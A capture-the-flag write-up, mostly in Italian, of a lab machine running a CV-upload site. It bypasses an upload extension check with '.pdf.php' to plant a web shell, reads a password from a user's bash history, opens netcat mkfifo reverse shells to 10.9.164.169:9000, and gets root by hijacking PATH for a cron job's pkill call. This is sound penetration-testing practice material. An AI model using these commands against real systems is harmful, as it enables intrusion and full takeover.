```
└─# nmap -sV -sC -A 10.10.58.79

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   3072 9f:a6:01:53:92:3a:1d:ba:d7:18:18:5c:0d:8e:92:2c (RSA)
|   256 4b:60:dc:fb:92:a8:6f:fc:74:53:64:c1:8c:bd:de:7c (ECDSA)
|_  256 83:d4:9c:d0:90:36:ce:83:f7:c7:53:30:28:df:c3:d5 (ED25519)

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: RecruitSec: Industry Leading Infosec Recruitment
|_http-server-header: Apache/2.4.41 (Ubuntu)


Analisi della web app

        <!-- im no security expert - thats what we have a stable of nerds for -
but isn't /cvs on the public website a privacy risk? -->

        <form action="upload.php" method="post" enctype="multipart/form-data">
                <input class="button" type="file" name="fileToUpload"
id="fileToUpload">
                <input class="button-primary" type="submit" value="Upload CV"
name="submit">

/cvs    fold per gli upload

Analisi della pagina upload.php

        <!-- seriously, dumb stuff:

        $target_dir = "cvs/";
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

        if (!strpos($target_file, ".pdf")) {
                echo "Only PDF CVs are accepted.";
        } else if (file_exists($target_file)) {
                echo "This CV has already been uploaded!";
        } else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)) {
                echo "Success! We will get back to you.";
        } else {
                echo "Something went wrong :|";
        }

-->



per bypassare il filtro usiamo .pdf.php
Il caricamento di una nostra shell non funziona. Proviamo ad enumerare con
estensione .pdf.php
```

Troviamo ----> shell.pdf.php

http://10.10.58.79/cvs/shell.pdf.php?cmd=ls   ok funziona

```
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.4 LTS
Release:        20.04
Codename:       focal
```

user lachlan in /home

http://10.10.58.79/cvs/shell.pdf.php?cmd=cat%20/home/lachlan/user.txt

Contenuto di /home/lachlan

```
drwxr-xr-x 6 lachlan lachlan 4096 Aug 12 19:43 .
drwxr-xr-x 3 root    root    4096 May  5 04:38 ..
-rw-r--r-- 1 lachlan lachlan  168 May  5 04:38 .bash_history
-rw-r--r-- 1 lachlan lachlan  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25  2020 .bashrc
drwxr-xr-x 2 lachlan lachlan 4096 May  5 04:38 bin
drwx------ 2 lachlan lachlan 4096 May  5 04:39 .cache
drwx------ 3 lachlan lachlan 4096 Aug 12 19:43 .gnupg
-rw-r--r-- 1 lachlan lachlan  807 Feb 25  2020 .profile
drwx------ 3 lachlan lachlan 4096 Aug 12 19:41 snap
-rw-r--r-- 1 lachlan lachlan   38 May  5 04:38 user.txt
```

cat .bash history

```
        ./cve.sh
        ./cve-patch.sh
        vi /etc/cron.d/persistence
        echo -e "dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123" | passwd
        ls -sf /dev/null /home/lachlan/.bash_history
```

Analisi stringa password
        dHY5pzmNYoETv7SUaY \n thisistheway123 \n thisistheway123

```
old  dHY5pzmNYoETv7SUaY
new  thisistheway123
new  thisistheway123
```

riusciamo ad entrare in ssh ma molto probabilmente esiste un task che ogni 10 secondi chiude la shell

Apriamo una reverse con netcat
GET

```
/cvs/shell.pdf.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10
.9.164.169+9000+>/tmp/f HTTP/1.1

su lachlan  password: thisistheway123

find / -perm -4000 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/fusermount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/at
/snap/snapd/14978/usr/lib/snapd/snap-confine
/snap/core20/1328/usr/bin/chfn
/snap/core20/1328/usr/bin/chsh
/snap/core20/1328/usr/bin/gpasswd
/snap/core20/1328/usr/bin/mount
/snap/core20/1328/usr/bin/newgrp
/snap/core20/1328/usr/bin/passwd
/snap/core20/1328/usr/bin/su
/snap/core20/1328/usr/bin/sudo
/snap/core20/1328/usr/bin/umount
/snap/core20/1328/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1328/usr/lib/openssh/ssh-keysign

# /etc/shells: valid login shells
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/tmux
/usr/bin/screen

Analizzando il file /etc/cron.d/persistence
--------------------------------------------------------------------------

cat /etc/cron.d/persistence

PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
```

```
* * * * * root /bin/sleep 1  && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo
nope > /dev/pts/$f && pkill -9 -t pts/$f; done

i PATH in ordine di esecuzione sono: /home/lachlan/bin: /bin: /usr/bin

l'avvio di questo file è disattivato
-rw-r--r-- 1 lachlan lachlan 56 May  5 04:38 /home/lachlan/bin/backup.sh

nei comandi sopra riportati il comando PKILL viene richiamato senza path
assoluto

creiamo con ECHO un file pkill (chmod +x) con il contenuto

#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.164.169 9000
>/tmp/f


393653 4 -rwxr-xr-x 1 lachlan lachlan   92 Aug 12 21:03 pkill
<----------------- boooommmmmmm    ha funzionato


└─$ nc -nvlp 9000
                      1 ×
listening on [any] 9000 ...
connect to [10.9.164.169] from (UNKNOWN) [10.10.113.116] 39944
bash: cannot set terminal process group (25802): Inappropriate ioctl for device
bash: no job control in this shell
root@b2r:~# id

uid=0(root) gid=0(root) groups=0(root)
```